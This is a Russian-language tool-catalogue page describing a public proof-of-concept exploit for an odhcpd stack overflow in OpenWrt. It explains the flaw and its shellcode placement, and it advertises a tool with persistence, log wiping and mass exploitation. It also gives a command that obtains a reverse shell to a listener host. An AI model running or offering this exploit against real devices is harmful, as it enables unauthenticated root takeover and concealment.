Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-53921-PoC-Exploit — CVE-2026-53921 – переполнение стека odhcpd (CVSS 9.8) 🛡️ Подробный и всесторонний разбор уязвимости, верификатор и мультиэксплойт для RCE через DHCPv6 в OpenWrt. Двухвекторное (IA_NA/IA_PD) переполнение с shellcode для MIPS/ARM, ROP-цепочки, SOCKS5-прокси, персистентность, затирание логов и массовое сканирование. Используйте этично, оставайтесь в рамках закона. 🔒 | Kitploit
Инструменты/GitHubGitHub/tc4dy/cve-2026-53921-poc-exploit
Безопасность встроенных системРазведкаФреймворки для эксплойтовБезопасность IoTАнализ уязвимостейЭксплуатацияПост-эксплуатацияRed TeamingГенерация Шеллкода

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

CVE-2026-53921 – переполнение стека odhcpd (CVSS 9.8) 🛡️ Подробный и всесторонний разбор уязвимости, верификатор и мультиэксплойт для RCE через DHCPv6 в OpenWrt. Двухвекторное (IA_NA/IA_PD) переполнение с shellcode для MIPS/ARM, ROP-цепочки, SOCKS5-прокси, персистентность, затирание логов и массовое сканирование. Используйте этично, оставайтесь в рамках закона. 🔒

Разработка Полезной Нагрузки
Эксплуатация Бинарных Файлов
GitHubtc4dy/cve-2026-53921-poc-exploit

CVE-2026-53921-PoC-Exploit

Репозиторий
61242 месяцев назадЕщё не проверено
Поделиться

CVE-2026-53921

CVE-2026-53921 – переполнение стека в odhcpd

CVE CVSS OpenWrt

⚠️ Только для образовательных целей и авторизованного тестирования. Несанкционированное использование незаконно.


📖 Обзор уязвимости

CVE-2026-53921 — это критическое переполнение буфера стека в демоне odhcpd проекта OpenWrt — стандартном сервере DHCPv6/DHCPv4/RA.

🔍 Как это работает

Уязвимость существует в коде обработки сообщений DHCPv6 демона odhcpd, а именно в функциях build_ia() и dhcpv6_ia_handle_IAs().

Техническое погружение

1. Корневая причина

Ошибка возникает во время сериализации (упаковки) ответных пакетов DHCPv6. Когда odhcpd отвечает на запросы клиентов, он формирует ответ в стековом буфере фиксированного размера 512 байт без надлежащей проверки границ.

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // ❌ No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. Инициирование переполнения

Злоумышленник отправляет DHCPv6 Request (или Solicit) со следующими параметрами:

  • 5 или более опций IA_NA (Identity Association for Non-temporary Address), каждая из которых содержит суб-опцию IAAddress.
  • 22 или более опций IA_PD (Identity Association for Prefix Delegation).

Каждая опция потребляет место в стеке при формировании ответа odhcpd. Накопленные данные превышают 512 байт, что вызывает переполнение.

3. Два вектора переполнения


Вектор Триггер Точка переполнения


Вектор 1 5 опций IA_NA build_ia() для IA_NA с IPv6-адресами

Вектор 2 22 опции IA_PD build_ia() для IA_PD

Корневая причина идентична, но переполнение возникает в разных участках кода, поэтому оба вектора одинаково эксплуатируемы.

4. Раскладка памяти

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

Злоумышленник перезаписывает сохранённый адрес возврата, чтобы он указывал на его шеллкод в памяти.

5. Требования для эксплуатации


Требование Описание


Сетевой доступ Злоумышленник должен иметь IPv6-связность с целью

Аутентификация Не требуется — атака без аутентификации

Привилегии odhcpd работает от root, поэтому RCE даёт полный контроль над системой

Целевой сервис Порт UDP 547 (DHCPv6) должен быть открыт

6. Размещение шеллкода

В реальном эксплойте шеллкод злоумышленника размещается в полях IPv6-адреса IAAddress (16 байт на каждую IA_NA). Сформированные пакеты упаковывают шеллкод, NOP-слайд и адрес возврата в эти поля.

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. Цепочка воздействия

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. Векторы атаки и статус исправления

Версия Статус Возможен ли RCE?


odhcpd < e432dd6 Уязвим ✅ Да OpenWrt < 24.10.8 Уязвим ✅ Да OpenWrt < 25.12.5 Уязвим ✅ Да OpenWrt 24.10.8+ Исправлено ❌ Нет OpenWrt 25.12.5+ Исправлено ❌ Нет odhcpd master + e432dd6 Исправлено ❌ Нет

9. Реальная эксплуатация

Эта уязвимость особенно опасна, потому что:

  • odhcpd включён по умолчанию в установках OpenWrt.
  • Аутентификация не требуется — любое устройство в том же IPv6-сегменте может атаковать.
  • Ошибка находится в пути обработки запросов.
  • Stack-канарейки и ASLR редко присутствуют на встраиваемых устройствах MIPS/ARM.
  • Эксплойт может обходить распространённые защиты во многих встраиваемых средах.

🎯 Затронутые версии

КомпонентУязвимые версииИсправлено в
odhcpd (ветка master)до коммита e432dd6e432dd6 или новее
Релизы OpenWrt< 24.10.8
< 25.12.5
24.10.8 и 25.12.5

🧰 Инструменты

Этот репозиторий содержит два независимых скрипта:

СкриптНазначениеЭксплойт-кодБезопасность
verifier.pyНеинвазивная проверка уязвимости❌ Нет✅ Безопасно
exploit.pyПолноценный боевой эксплойт✅ Да⚠️ Опасно

🔎 verifier.py — Проверка уязвимости

  • Отправляет стандартный DHCPv6 Solicit для проверки активности сервиса.
  • Читает баннеры HTTP/SSH для определения версии OpenWrt.
  • Сравнивает версию с известным уязвимым диапазоном.
  • Не отправляет ни полезной нагрузки переполнения, ни шеллкода.

💥 exploit.py — Полный эксплойт

  • Двойные векторы переполнения: IA_NA (Site1) и IA_PD (Site2).
  • Автоматическое определение архитектуры (MIPS / ARM).
  • Reverse и bind шеллкод для MIPS big-endian.
  • Поддержка SOCKS5-прокси.
  • Постоянство (бэкдор через cron) и очистка логов.
  • Многопоточное сканирование и массовая эксплуатация.
  • Дополнительное кодирование полезной нагрузки (XOR).

🚀 Установка

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

📝 Использование

🔍 Verifier — проверка, уязвима ли цель

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

💥 Exploit — получение reverse shell (не используйте для незаконной деятельности, только для тестирования)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

⚙️ Параметры командной строки

verifier.py

АргументОписание
-u, --targetIPv6-адрес цели (обязательно)
-i, --ifaceСетевой интерфейс (по умолчанию: eth0)

exploit.py

Скачать инструмент